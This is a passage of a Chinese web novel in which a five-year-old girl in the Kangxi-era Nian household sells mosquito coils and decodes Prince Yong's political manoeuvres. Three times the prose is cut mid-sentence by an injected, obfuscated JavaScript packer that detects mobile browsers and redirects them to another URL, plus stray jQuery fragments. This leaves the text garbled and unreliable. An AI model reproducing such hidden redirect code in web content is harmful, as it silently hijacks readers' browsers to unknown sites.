她的声音脆脆的,还带着稚气,却叫年遐龄与年希尧对视一眼,谁都没有说话。 年遐龄父子两人很快去了书房。 他们商量来商量去,只觉年珠的话并无道理。 再说了,就算真是他们猜错了四爷的意思,这亲里亲戚的,来日有年若兰牵线,给四爷赔个不是就是了,不算什么大事。 半个时辰后,年遐龄的贴身随从又来了年珠小院一趟,将四爷赏给她的那些宝贝全要了回去。 年珠看着那些人连四爷送给自己的那两条凤鹤鱼都没放过,却是微微叹了口气:“唉,这世上最难受的事情不是从未得到,而是得到了之后还未捂热乎就失去了。” “再见了,我的小鱼儿。” 半个时辰之后,年家的管事就重新将礼物送了回去。 此时的四爷正准备差人给年家送信的,听说这件事后却是一愣,下意识道:“亮工回京了?” 亮工正是年羹尧的字。 虽说年希尧父子皆是聪明人,却是拍马都比不上年羹尧,更是过于刻板拘谨。 苏培盛道:“回王爷的话,年总督尚未回京。” 四爷便道:“叫那管事进来吧。” 这管事姓孙,跟在年遐龄身边多年,说话也是面面俱到,直说年珠前来探望年若兰乃分内之事,当不得四爷这么厚的赏。 待四爷收下礼物,瞧见那孙管事离开后,却是皱眉道:“……没想到除了亮工外,年家竟还有心思如此灵巧,知晓变通之人。” 他很快便将这事抛之脑后。 可年珠自知晓自己的身世后,就一直愁眉不展。 她虽然着急,却也知道她阿玛年羹尧才是年家的话事人,未能见到年羹尧之前,一切都是干着急。 至于她想让年若兰长命百岁,如今京城上下都知道年家对四爷是唯恐避之而不及,与四爷划清界限,她哪里能去雍亲王府? 想到这里,年珠又是长长叹了口气。 一旁的聂乳母强撑着笑道:“格格,您怎么了?这几日您时常叹气,是不是有什么事儿惹您不高兴?” 说着,她更是冲一旁的小丫鬟使眼色,示意她将辅国公府刚送来的鱼儿拿过来给年珠瞧瞧:“格格,您看,福晋对您多好啊,知道您舍不得雍亲王送您的两条鱼,又找了辅国公,叫辅国公寻了两条差不多的凤鹤鱼来。” “虽说这两条鱼比不上从前那两条,但也是极好看的,您瞧,它们游的多欢呀!” 年珠给她面子,不过看了两条鱼后,又是一副无精打采的样子。 惹得聂乳母担心不已,想着若叫觉罗氏看到年珠这个样子,又是训斥她们的。 聂乳母又是命人端剥好的荔枝上来,又是命人切了蜜瓜过来,最后更是道:“格格,您到底想吃什么?奴婢这就差小厨房去做好不好?” “乳母,我不饿,我什么都不想吃。”年珠一想到自己只有五年的好日子过,就是山珍海味都吃不下去,“对了,乳母,我问您,如今有没有什么赚钱的门道?” 她的想法简单,钱是万能的,就算来日他们一家真被四爷清算,有银子傍身日子也能好过很多。 更重要的是,她阿玛年羹尧是个自信到自负的人,寻常人的意见和建议根本听不进去,更别说她一小女娃,若想要年羹尧对她刮目相看,就得拿出自己的实力来。 恰好她手上有觉罗氏送的几个铺子。 聂乳母好奇道:“格格,您这是要做什么?从前福晋要教您启蒙,您说读书又苦又累……赚钱可比读书、骑马这些累多了。” 怨不得她们觉得奇怪,实在是年珠以前就是一只知道吃吃喝喝的小咸鱼。 但如今,年·咸鱼·珠却是崛起了:“乳母,额娘从前时常劝我我要跟着大姐姐学学,大姐姐那样厉害,我与大姐姐同为阿玛的嫡女,总不能坠了额娘的面子吧?” 说起她大姐姐年晗,那才真是人生赢家,额娘是纳兰·容若的女儿,纳兰·明珠的孙女,阿玛祖父什么的都身居高位,嫁给了大学士王熙之孙王式曾,此人样貌与才学皆十分出众……更不必提当初她出嫁时那一百六十四抬嫁妆装的是满满当当,虽说是低嫁,但王式曾身边并无姨娘侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172550|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妾,是面子里子都不缺。 所以觉罗氏便打算将年珠培养成第二个年晗来,可惜,从前的年珠一直是烂泥扶不上墙。 “格格终于想明白了,若福晋知道,定会高兴的!”聂乳母认真想了想,道,“若说什么赚钱的营生,莫过于粮盐茶丝这些生意……” 她也只知道个大概,更多的就不知道,毕竟她整日困在内宅,极少出门。 找到方向的年珠面上难得浮现了些许笑容,到了傍晚,就去了觉罗氏的院子。 年家上下足足有两百多口人,可想而知从上至下每日有多少琐事。 年珠足足等了小半个时辰,觉罗氏这才忙完,她笑看着女儿道:“……珠珠,你竟想学做生意?还想做大生意?” “对啊!”年珠点点头,脆生生道,“额娘,从前您不是时常在我跟前念叨起大姐姐嘛?说她十岁那年囤生丝赚了不少钱,我听的耳朵都要起茧子了。” “如今我要学学大姐姐,您不高兴吗?” 觉罗氏看着一本正经的女儿,却一个忍不住,“扑哧”一声笑出声来。 “额娘,您笑什么?”年珠很是好奇。 觉罗氏难得见女儿如此上进,便正色道:“聂乳母说的没错,如今赚钱的行当莫过于盐粮茶丝,但想要将生意做大,从京中这些百年字号中分一杯羹可不是易事。” “就说茶吧,那些大的茶商在浙江、江苏、安徽等地都是有自己的茶园,如今选茶、采茶、杀青、揉捻、运输……那都是有门道的,其中若有分毫差错,就是血本无归。” “你一五岁的小娃娃,难不成还想抢那些成精商人的生意?” 年珠只觉自己的小心脏“哐当”一声碎了,有气无力道:“原来想靠茶叶赚钱这么难啊!” 但她并没有放弃,很快抬起头道:“额娘,您见多识广,您觉得有没有什么适合我做的生意?” “最好能叫众人一提起这铺子就能想到我,夸我厉害的同时,顺便能赚点银子!” 觉罗氏认真思量的同时,却也不忘问年珠为何像变了个人似的:“好端端的,你怎么想着学人做生意?你可莫要将你大姐姐搬出来,从前我时常拿她说事儿,可没见你如此上进。” “当真什么事情都瞒不过额娘的眼睛!”年珠嘿嘿一笑,实话她是当然不能说的,只能道,“从前我总以为我靠着阿玛额娘的庇佑,就能安安稳稳过一辈子。但我去了雍亲王府一趟,却发现根本不是这么一回事,就算阿玛大伯他们当再大的官,到了皇子皇孙跟前也得战战兢兢,他们轻飘飘的一句话……就能决定我们以后的日子好不好。” “不管什么时候,多学些东西傍身总是没错的,若有朝一日我们年家落败了,您还能靠我呢!” 她话里话外皆是提点之意。 但觉罗氏根本没将这话放在心上,直道:“可是那日你祖父与你说的那番话吓到你了?” 她一把将年珠搂在怀里,轻声道:“乖孩子,就算真是十四贝勒被立为储君,就算年家真受到牵连,你也莫怕。” “年家靠不住,你还有你外祖父呢!” 她之所以没将年羹尧那么多姨娘放在眼里,是因为她有底气。 她的底气来自于她的娘家。 她阿玛乃辅国公苏燕,她是阿济格的玄孙女,真论起来,她可是皇上的堂侄女! 年珠却嘀咕道:“额娘,话可不是这样说的,靠山山会倒,靠人人会跑,只有自己最可靠……” 5. 第 5 章 因年珠难得“上进”,觉罗氏便也认真思量起来。 不出几日,觉罗氏就想出了一好主意。 “当初我出嫁时,你外祖父给了我一间宝钞胡同里的铺子,铺子不大,只有两间而已,从前曾想过拿它卖首饰或布料,却因地方太小,就搁置了。” “那铺子附近住的都是皇亲贵族、高门大户,你若能有本事赢得她们的青睐,定能在京城女眷中名声大噪。” “那额娘,我该卖什么?”年珠很是好奇。 其实这几日她也一直在琢磨此事,没吃过猪肉她也是见过猪跑的,记得电视或小说中穿越女大多是从美食下手。 但这法子对她来说却并不实际,如今食材佐料有限,巧妇难为无米之炊,她再厉害,也没办法将一颗白菜烧成山珍海味……这对她来说难度太高。 觉罗氏却是卖起关子来:“铺子我给你了,剩下的事情,就要自己想办法。” 她想的是要年珠卖香。 香露、香糕、香扇……只要东西好,这都是一本万利的生意,且小姑娘家家的折腾这些,说出来名声也好听。 年珠笑道:“我知道,额娘是想考考我。” “您且等着看吧,我收了您的东西,定不会叫您失望的。” 她不是没想过卖香,可这些多是女儿家可有可无的小玩意儿,她生意做得再大,也不会引得年羹尧刮目相看的。 在后世,不少人都重男轻女,在大清更是如此。 比如说,年珠的那些兄弟们一旦到了四岁都要去外院,不仅要念书还要学习骑射,反倒是女儿,能认字会读书就不错了。 比如说,满人向来有抱子不抱孙的习惯,就是担心将儿子养的太过娇气。 …… 年珠想捣鼓出寻常人一听说这东西就忍不住赞叹道:“你知道吗?这是年家那七格格捣鼓出来的,这姑娘年纪小小,可真厉害啊!” 她苦思冥想好几天,就当她觉得是不是自己都瘦了时,终于叫她想出一个好主意来。 蚊香! 到了夏日,即便每每年珠睡觉之前,聂乳母等人总是要拿艾草将她的屋子熏一遍,再放下蚊帐,却偶尔也有漏网之蚊。 年家尚是如此,可想而知,寻常百姓家提起蚊子来是多么深恶痛绝。 年珠向来是个行动派,当即就要聂乳母又是找艾草,又是找木炭粉,榆木皮粉,雄黄这些东西。 她只觉得庆幸,从前在福利院时她没有亲人,没有玩具,闲来无事只能看书,将这杂书上的蚊香制法记了下来。 不到半日,她就做出了蚊香。 当年珠拿着蚊香巴巴去找觉罗氏时,觉罗氏觉得若不是这孩子是亲生的,她简直就不想要了。 “珠珠,虽说宝胡同那间铺不大,可只卖一样东西,会不会太浪费了点?” “再说你这东西弯弯曲曲的,看着有点像虫子,怪吓人的。” 年珠:“……” 后世的蚊香都是螺旋状的,这样的设计能够延长蚊香的燃烧时间,但她初次尝试,这蚊香做的是歪七扭八,就丑了亿点点,简直就是一个四不像。 她讪笑道:“额娘,您别看这东西丑,但效果却很好。” “甭管黑猫白猫,能抓到老鼠的才是好猫,您不试一试如何知道?” “我昨晚上试过了,根本没有一只蚊子来咬我……” 这话说的觉罗氏将信将疑,朝聂乳母投去一个狐疑的目光:“当真有这回事?” “回福晋的话,格格所言自是千真万确。”聂乳母面上露出与有荣焉的笑容来,道,“奴婢等人昨晚上也试了试,这东西效果好得很……” 话虽如此,但觉罗氏仍觉得一间铺子卖一样东西不免叫人觉得匪夷所思,却还是照年珠的话派人去制作旋螺状的模具和蚊香底座托盘。 到时候,年珠将艾草、木炭灰等东西倒入模具就能成型,很快就能售卖了。 当然,早在年珠有做生意打算时,觉罗氏就已安排人去修缮那铺子,最晚下月初就能开业。 万事开头难,年珠只觉得这件事比自己想象中顺利很多,她甚至高兴的坐在书桌前给自己那小铺子起起名字来。 思来想去,她便拿着狼毫笔在宣纸上写下了狗爬一样的几个字——小小杂货铺。 紧接着,她又道:“乳母,您将这张纸送给额娘吧,就说我的铺子就叫这个名字,要额娘赶在铺子开业之前给我做块上好的牌匾出来。” “格格。”聂乳母却是欲言又止道,“那铺子当真只卖一样东西?” “当然不是!”年珠小腰板一挺,掷地有声道,“这不是纯纯亏本吗?额娘的银子也不是天上掉下来的,哪里能那样糟蹋钱?” 顿了顿,她又道:“不过我还没想好那铺子还要卖什么呢!” 她养尊处优五年了,从前看的那些杂书都忘的差不多,得好好回想回想才行。 眼瞅着聂乳母要下去,她忙道:“乳母,您还与额娘说一声,叫额娘帮我寻摸一只精力旺盛的小狗儿吧!” 聂乳母应了下来。 她也好,还是觉罗氏也好,谁都没有多想,毕竟年珠从小到大就喜欢小动物,如今年珠的院子里养了五条鱼,三只龟,四只鸟,两只兔子! 没过几日,觉罗氏就亲自带来一只浑身毛茸茸的小京巴狗狗儿。 这狗儿刚满月,只有成年人巴掌大小,浑身雪白,无一根杂毛。 最重要的是,这狗儿闹腾得很,刚进屋毫无半点“初到陌生地方的害怕”,反倒挣扎着从篮子里跳出来,这里嗅嗅那里看看,一副自来熟的架势。 觉罗氏笑道:“……你这孩子这几天像变了个人似的,从前要你到处多走走转转,你是宁躺不站,宁站不坐的,以后有了这狗儿,我看你还怎么偷懒!” “狗儿不比猫儿,是每日都要陪它玩,带它去散步的。” 先前她就因年珠太懒惰散漫,提出要送年珠一只狗,却被年珠无情拒绝了。 “额娘,谁说我要养着这狗儿了?”年珠不解道。 觉罗氏一愣,下意识道:“那你找我要一只狗儿做什么?” 年珠正色道:“当然是给姑姑送去。” 说着,她更是解释道:“自福宜表弟去世后,雍亲王为姑姑请了不少太医和名医,但看来看去,姑姑的身子总不见起色。” “心病还须心药医,只能等姑姑慢慢走出丧子之痛,这病才能渐渐好起来。” “若身边养了只活泼的狗儿,姑姑整日忙的脚不沾地,怀念福宜表弟的时间自然就少多了。” 更别说她可是知道历史上的雍正可是一不折不扣的狗奴,这样一来,她也算歪打正着、投其所好呢! “你这孩子……”觉罗氏苦笑道。 一时间她竟不知是夸还是该骂。 虽说如今明面上年家对四爷是唯恐避之而不及,却不会对年若兰不管不顾,这样就做的太过刻意了些。 每隔几日,觉罗氏就会差人送些补品去雍亲王府的听雪轩。 这一次,年若兰见秦嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172551|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷抱着只狗儿走进来,还以为是自己病的太严重,所以眼花了。 秦嬷嬷皱眉解释道:“……这是七格格差人送来的,说如今王爷事忙,送只狗儿来陪着您。” “且不说这狗儿容易伤人,就说这狗儿如此闹腾,您哪里能好好休息?” “侧福晋,可要奴婢将这狗儿送回去?” 不怕生的小京巴狗儿已从篮子里跳了下来,到处蹦跶起来。 年若兰想着那个长了一双水汪汪大眼睛的侄女,想了想还是道:“罢了,就把这狗留下来吧,说到底也是珠珠的一片心意。” “以后这狗儿就叫雪球,你们好生伺候着。” 秦嬷嬷只能答应下来。 不仅她对雪球喜欢不起来,就连傍晚时过来的四爷都被这狗儿吓了一大跳。 眼见着这狗儿半点不认生地冲过来,一口咬住了自己地衣角,本就心情不好地四爷更是皱起了眉头。 “兰儿,你这狗是从哪里来的?” 从前他就说过从猫狗房抱只猫回来给年若兰养,却被年若兰拒绝了。 年若兰笑道:“这是珠珠,哦,就是当日王爷见到的那小女孩送给妾身的狗,她一片好心,妾身不好拒绝,索性就收下来了。” 纵然她身子不好,却一眼能看出四爷心情不好,但她并没有多问,只差小厨房送了吃食上来。 然后,她又陪着四爷一起煮茶品茗。 四爷近来的确很是烦心,先是十四阿哥在西北打了胜仗,然后八阿哥等人又鼓动着朝中官员立十四阿哥为太子。 更重要的是,向来对八阿哥不大待见的皇上不仅没有训斥他,对这些折子是留中不发。 想及此,四爷长长叹了口气。 “王爷。”年若兰给四爷倒了杯茶,轻声开口道,“您可是又遇到烦心事了?妾身见您这几日似是心情不大好……” 朝中那些事,四爷当然不会说给年若兰听,说了只会叫年若兰白白担心。 他没去接那杯递过来的茶,反而握着年若兰的手,道:“没什么,不过是些小事罢了。” “这几日我倒时常在想,身为王孙贵胄也并非好事,日日有操不完的心忙不完的事,若我是个寻常百姓就好了。” 说着,他苦笑一声,看着年若兰的眼睛道:“可我转而一想,若我只是寻常百姓,只怕你就不会常伴我左右……” “王爷。”年若兰难得打断他的话,虽依旧语气轻柔,却带着几分坚定,“不管王爷是王子皇孙,还是寻常百姓,王爷在哪儿,妾身就在哪儿。即便是粗茶淡饭,流落街头,妾身都不在意。” “生死契阔,与子成说。执子之手,与子偕老。①” “妾身对王爷之心,永永远远都不会变。” 她是个聪明人,从四爷几次夜宿书房和四爷在听雪轩睡下后被匆匆喊走这等事中察觉出端倪,但她什么都没说,她用她的言语表明了她的决心。 四爷什么都没说,只是将年若兰的手握的更紧了。 他活到这般年纪,皇阿玛、额娘也好,还是旁人也罢,都未曾有谁像年若兰一样真心对她,他觉得自己不能辜负她。 很快四爷就借口尚有公务在身,去了书房。 一进门,他就吩咐道:“……快马加鞭送一封信去颍州,告诉王承勋,要他上折子参年希尧一本。” 至于到底以何罪名,他并没有细说。 如今皇上早已不复当初清明,大清上下吏□□败,灾荒频发,每个官员身上或多或少都有些把柄的。 6. 第 6 章 年珠一扫从前的咸鱼做派,整日醉心于自己铺子开业一事,对四爷的动作是浑然不知。 当然,就算她知道她也不会觉得奇怪。 在她看来,就算历史上的四爷最后问鼎天下,但却是个不折不扣的可怜人,爹不疼娘不爱的,就算后来他登基为帝,他的亲娘德妃也拒不承认他的皇帝身份,甚至还不愿搬到慈宁宫。 正是如此,四爷对十三爷的情谊非同一般,旁人以真心待他,他就会以真心回报。 对自己的枕边贴心人,四爷自然会呵护备至、面面俱到。 到了月底,年希尧就要回去安徽了。 他虽比不上年羹尧仕途一帆风顺,但年纪不大却已任安徽布政使一职,此次休沐回京,是因年遐龄年事已高,摔了一跤的缘故。 如今年遐龄身体康健,他自然得回去当差。 年珠跟在觉罗氏身后,一起送年希尧出门。 年希尧如今好歹也是朝中二品大员,但如今却宛如初次离家的稚童一般,面上满是不舍。 不仅如此,他还得搜肠刮肚安慰起年遐龄等人来:“……虽说现下朝中局势紧张,但我们年家也是世代官宦世家,对皇上、对大清忠心耿耿,就算真是十四贝勒为太子,年家顶多势微,不至于受到牵连。” 他先是对妻子郭络罗氏说要她好生照顾年遐龄,又对觉罗氏说她要照顾好孩子们,最后眼神却是落在了年珠身上。 “从前我就时常在信中听你伯母说你活泼聪明、懂事可爱,这次回家一趟,发现果真如此。” 年家的一众孩子中不乏聪明之辈,但像年珠这样的,却是少有。 这次回去安徽,他行李中带的最多的就是蚊香。 只可惜,年珠只是个女孩…… 纵然有些话没说,年珠也能从年希尧的眼神中看出惋惜来,小腰板一挺,就道:“伯父,您这是什么眼神?您是不是心里在想,我若是男儿就好了?商有女将军妇好,明有名将秦良玉,更不必说大名鼎鼎的则天皇帝……这些人不都是女子?您怎能瞧不起女子?” 说着,她更是气鼓鼓道:“叫我说,女子也能大有所为。” “你这小丫头,难道还想比肩则天皇帝不成?”年希尧被她逗得直笑,愈发觉得她聪明了,直道,“我刚回来时,可听你伯母说你整日哭着喊着不愿念书,不过十多日而已,你竟连妇好等人都知道了?” 觉罗氏却哭笑不得道:“虽说从古至今大有所为的女子不在少数,却没几人连字都写不好。” “你想学做生意,我不拦着你,可首先得把一手字练好才行。” …… 众人是七嘴八舌,正因如此,将离别的哀愁和对未来的忐忑冲淡了不少。 年珠是一人难抵那么多张嘴,最后索性低头不说话。 她虽聪明,却并不赞同夫子们死记硬背的教学方法,写了十几年钢笔字的她也不擅用毛笔,那一手字写的就像鸡爪子挠似的。 年珠前脚刚回到自己的小院,后脚年遐龄就派了嬷嬷送来了刚出锅的孙泥额芬白糕。 那嬷嬷更是道:“老爷说了,您近来辛苦,得好好补一补才是。” “这道刚出锅的孙泥额芬白糕味道好,您也尝一尝。” “多谢祖父。”年珠甜甜笑道。 她数了数,方才伯母郭络罗氏差人送了桃胶皂角米银耳羹,额娘觉罗氏差人送来了八珍糕,大哥年熙差人送来了水乌他……这些吃食零嘴满满当当摆了一桌子,她午饭都不必吃了。 她知道,这些长辈正因方才在大门口调笑了她几句,担心她不高兴,所以才送东西过来哄她高兴呢。 年珠心里是既甜蜜又难受。 若她没有记错的话,历史上的四爷清算年羹尧后,虽没有对年家赶尽杀绝,但年遐龄很快却去世了……年家多少会受到影响。 想及此,她愈发觉得扬名立万迫在眉睫,忙道:“乳母,你差人叫额木来见我吧。” 聂乳母是她外家送来的人,苏额木不仅是辅国公府的人,也是她的乳兄。 用觉罗氏的话来说,既想要做生意,就要培养自己的人。 晌午时分,苏额木就匆匆进府了。 苏额木虽只有十五六岁的年纪,但打小就被他爹派去各地学习如何料理生意,经验不说丰富,却也不是两眼一抹黑什么都不知道。 更重要的是,辅国公府认识苏额木的人都不多,京中认识他的人也就更少了。 毕竟年珠想要扬名立万不假,却没想着依靠旁人。 “见过七格格。”苏额木给年珠打了个千儿,道,“给七格格请安了。” 年珠笑道:“起来吧。” 她先是过问了铺子的修缮情况,牌匾有没有做好,伙计是否已安排到位,待她听到苏额木的回答后,这才道:“你做得很好,不过当下,我有件更重要的事情要你去做。” “格格您说。”苏额木恭恭敬敬道。 “我要你多找些人,将铺子开业的消息散播出去,闹得越大越好。”年珠从前在大学时,也曾选修过《市场营销》这门课的,在很多时候,推广远比销售重要,“比如,先将噱头打出去,说宝钞胡同有间铺子开业后只卖一件东西……” 苏额木很快就会过意来:“格格放心,小的知道了。” 年珠对自己这个乳兄还是挺满意的。 不出几日,小小杂货铺就开业了。 年珠一早就求得觉罗氏答应,带了几个人坐上马车去了宝钞胡同。 年珠虽知道苏额木是个有点小聪明的,却万万没想到她的马车刚到胡同口,就堵得进不能进出不能出的。 她探头一看,外头乌压压的全是人,将整条胡同挤得是水泄不通。 一个个行人更是道:“快点,再去晚了就迟了,说是今儿这新开业的铺子有什么抽奖活动,一等奖是一百两银子呢!” “这甚么蚊香也不贵,买的多更便宜,还不如搏一搏,兴许就能中大奖了?” “呵,叫我说,能在这地方开铺子的,定是大户人家出来的福晋夫人的,人傻钱多,十有八九是开铺子开着玩的。” …… 众人是七嘴八舌。 “人傻钱多”的年珠坐马车上,忍不住对苏额木刮目相看起来——她这乳兄,还真的有几分本事! 等马车缓慢行驶到铺子门口,只见铺子里被人挤得更是水泄不通。 恰逢有人中了三等奖,惹得人群中欢呼不断。 年珠心满意足笑道:“好了,乳母,我们回去吧。” “格格。”聂乳母却是欲言又止,忧心忡忡道,“照这样下去,别说赚钱,您的私房钱都要亏完的……” 年珠却摇摇头,正色道:“不会的,如今这些百姓前来买蚊香多是冲着噱头来的,或是好奇,或是想要以小博大,但它们把蚊香拿回去用上几次后就会发现这东西大有用途。” “夜里睡得正香,有蚊子在耳畔嗡嗡直叫,着实扰人。” “而且我也算过账的,一盘蚊香成本两文钱,售价四文钱,寻常百姓家都能负担得起,买的多更便宜。” “虽说短时间里加上铺面与人工的成本,是只赔不赚,但做生意嘛,总是要慢慢来的,买的人多了,自然就能赚到钱的。” 聂乳母默默在心里算了笔账,觉得她的赚钱之路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172552|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是任重道远。 迎得开门红的年珠却是心情大好。 谁知她刚回去年府,好心情顿时就戛然而止。 就在今日早朝上,当今皇上康熙帝接到颍州知州王承勋的密折,说是年希尧勒索规礼,徇庇凤阳知府蒋国正将凤阳亏空捏造为冒蠲侵蚀等,人证物证俱在,皇上是勃然大怒,下令彻查。 而本就刚痊愈不久的年遐龄一听到这消息就晕了过去。 年珠:“……” 她可不记得历史上还有这样一出,顾不得日头当空,撒丫子就朝正院方向跑去。 觉罗氏等人已经到了,一个个是宛如热锅上的蚂蚁。 至于郭络罗氏,更是泪水连连。 已有大夫前来给年遐龄把脉施针,他老人家瞧见一屋子妇孺弱小,强撑着道:“……虽说允恭不比亮工适合当官,但勒索规礼一事,他断然是做不出来的。” “树大招风,如今亮工不过而立之年已是大学士,成为一省巡抚,难免有人想要拿我年家开刀。” “等皇上彻查清楚此事后,自能还允恭清白的。” 年珠却没祖父那样乐观。 前些日子因她要开铺子做生意,听说伯父年希尧擅长“对数广运”和“测算刀圭”,时常找年希尧请教一二。 她这才发现年希尧对当官还真没什么兴趣,对于政务,也秉持“无为而治”的理念。 说白了,就是从不给自己揽事,而是尽量把政务简化,剩下的时间都花在制作数学测算仪器上,之所以他能步步高升,一来是他投了个好胎,有个好爹和好弟弟,二来是他无欲无求,在康熙末期一派贪官污吏中显得鹤立鸡群。 但年珠却清楚的很,以年希尧的性子定不会做出什么“勒索规礼”之事来,但他没有借职务之便找下属打秋风,不代表他的下属就是干净的。 要知道年希尧那从二品的安徽布政使权力可不小,管着整个安徽省的行政、财赋之出纳,甚至还可以向皇上请旨手下的官员擢升、推荐和罢免等等,这个位置,可被不少人盯着。 年珠从正院出来时,已听到身侧有胆小的姐妹开始哭了起来。 就连觉罗氏都紧蹙眉头,牵着年珠的手与身侧的石嬷嬷闲话:“早不出事晚不出事,偏偏这时候有人参大爷一本,只怕不是巧合。” “偏偏二爷如今不在京里,想要打听都不知如何打听。” 年珠插话道:“额娘,阿玛虽不在京城,但京中还有外祖父在呢!” 这话说的觉罗氏有几分犹豫,出嫁从夫,但打听打听这件事对她阿玛来说可不是什么难事。 “额娘。”年珠一向秉持着家中有资源不用白不用的道理,低声道,“将才祖父虽字字句句都在宽慰咱们,但我都看得出来,祖父也是担心这件事是十四贝勒在捣鬼。” “虽说外祖父近来也很少过问朝堂之事,但他到底也是皇上的堂弟,若他老人家出面,朝中官员定是要卖他几分面子的。” “若早日知道内情,咱们也能早点打算……” 她对历史上十四阿哥最大的印象就是宁折不弯,毕竟放眼整个古代,像十四阿哥这样大局已定却还对新帝不敬的“蠢货”,实在没几个。 远在西北的十四阿哥这时候打胜仗正打的不亦乐乎,哪里有闲情逸致对年希尧下手?就算真要下手,也该对年羹尧下手啊! 年珠只觉得这有点像四爷的手笔,舍去一个年希尧,叫十四阿哥一党好好看看他对年家的不满。 “珠珠这话……也不乏道理。”觉罗氏微微叹了口气,就吩咐道,“石嬷嬷,你亲自回辅国公府一趟,叫阿玛打听打听这件事到底是谁在背后捣鬼!” 7. 第 7 章 如今朝中局势紧张,就连辅国公苏燕出马,足足花了三日时间这才打听到消息。 原来顺藤摸瓜查下去,举报年希尧的颍州知府王承勋根本不是十四阿哥的人,而是四阿哥的人。 当觉罗氏听说这消息时,正陪着年珠一起吃饭的她久久回不过神来。 “怎么会……怎么会这样子?” “就算父亲差人退回去雍亲王的礼物,他,他也没有必要这样痛下狠手啊!” "不管怎么说,大爷也是年侧福晋的亲哥哥!" 倒是年珠听到这话,却是彻底放下心来:“额娘,您莫要着急,这是雍亲王想要护着咱们家呢……” 她将其中的道理细碎拆开,一点点说给觉罗氏听,最后更是道:“都说真心才能换来真心,雍亲王对姑姑可真好啊!” 她记得清楚,历史上的四爷就算对年羹尧已是忍无可忍,却还是等着年贵妃去世后才同年羹尧算总账的,甚至因此还放过了年遐龄和年希尧。 她心里感叹一句,爱新觉罗一族果然是情种倍出啊! 觉罗氏是辅国公苏燕幼女,从小跟着家中长辈学管家,学庶务,却没人教过她朝堂之事,毕竟一个姑娘家家的,学这些根本没用。 但觉罗氏可不傻,仔细一想,就觉得年珠这话说的很有道理,连饭都不吃了,连忙带着年珠去找年遐龄。 这人呐,就不能着急,一着急就慌了,一慌就开始自乱阵脚。 当病床上的年遐龄听说年珠分析的头头是道后,也陷入了沉思。 从前皇上曾说雍亲王“喜怒不定,为人轻率”,但他却知道自己这个女婿是有过人之处的。 他试着站在旁观者的角度分析一二,的确发现年珠分析的很有道理——争夺储君一事非同小可,成王败寇,若真叫十四贝勒知道他们年家得雍亲王厌弃,兴许会放他们一马! 没能吃饱饭的年珠抓起案几上的糕点就往嘴里喂,更是道:“祖父您想啊,这件事妙就妙在众人突然听到大伯被针对一事后,下意识就会怀疑到十四贝勒身上,觉得是十四贝勒在捣鬼。” “朝中重臣能有几个?又能有几人知道其中内情?更多的则是些人云亦云,被人牵着鼻子走的人。” “偏偏十四贝勒一党的人也不能跳出来说这事儿不是他们做的,对吧?更重要的是,若这事传到皇上耳朵里,还会觉得雍亲王刚正不阿,可谓一石多鸟……” 就这一步棋看来,她觉得四爷在九龙夺嫡中不赢都说不过去,这人简直浑身上下都是心眼子。 年遐龄这才觉得浑身舒坦了些。 他看向嘴角沾着糕点屑的年珠,狐疑道:“这些话,是你自己想的?” 他老人家之所以这样问,是因为笃定没人能想的如此明白,分析的如此透彻。 “对啊。”年珠点点头,又将目光落在了嬷嬷刚端上来的果盘上,“祖父,我是不是很厉害?” 年遐龄不疑有他,夸赞了年珠几句。 毕竟比起年珠那个不过三十岁就当上总督的阿玛,她这点聪明则显得有点不够看了。 如此一来,年遐龄也能安安心心养起病来。 没过几日,年珠刚洗澡准备睡下时,就有正院的人匆匆来请。 “七格格,您快去正院一趟吧。” “雍亲王来了,老爷请您过去一趟呢。” 这可将觉罗氏等人吓了一跳。 谁知年珠反倒却安慰起觉罗氏等人来:“额娘,没事的,我去去就来。” “定然是雍亲王想着祖父年纪大,受不得惊吓,所以大晚上过来与祖父偷偷解释一二。” “祖父了,对着雍亲王也实话实说,说我早已猜到了雍亲王的意图,所以雍亲王想要见见我,就这么简单而已!” 年珠也没拿四爷当外人,甚至连衣裳都没换,径直去了正院。 正院里间是灯火通明,但除去卧病在床的年遐龄与沉默不语的四爷,并无一人。 以至于年珠走进去时,只觉得自己有点格格不入。 “王爷。” “祖父。” 四爷不由打量起这个年仅五岁的小姑娘来。 上次匆匆一瞥,他只记得年珠生的很漂亮,除此之外,并无多少印象。 但今日一见,他发现年珠不仅有三两分生的像年若兰,甚至年珠的漂亮,是那种男女老少都很喜欢,并无侵略性的漂亮,宛如画中走出来的年画娃娃,叫人瞧见就像捏捏她胖嘟嘟的脸。 年珠却是不卑不亢,任由着四爷这样打量自己。 过了一会,她才听见有威严的声音道:“我听你祖父说,你早就知道了我的意图?” 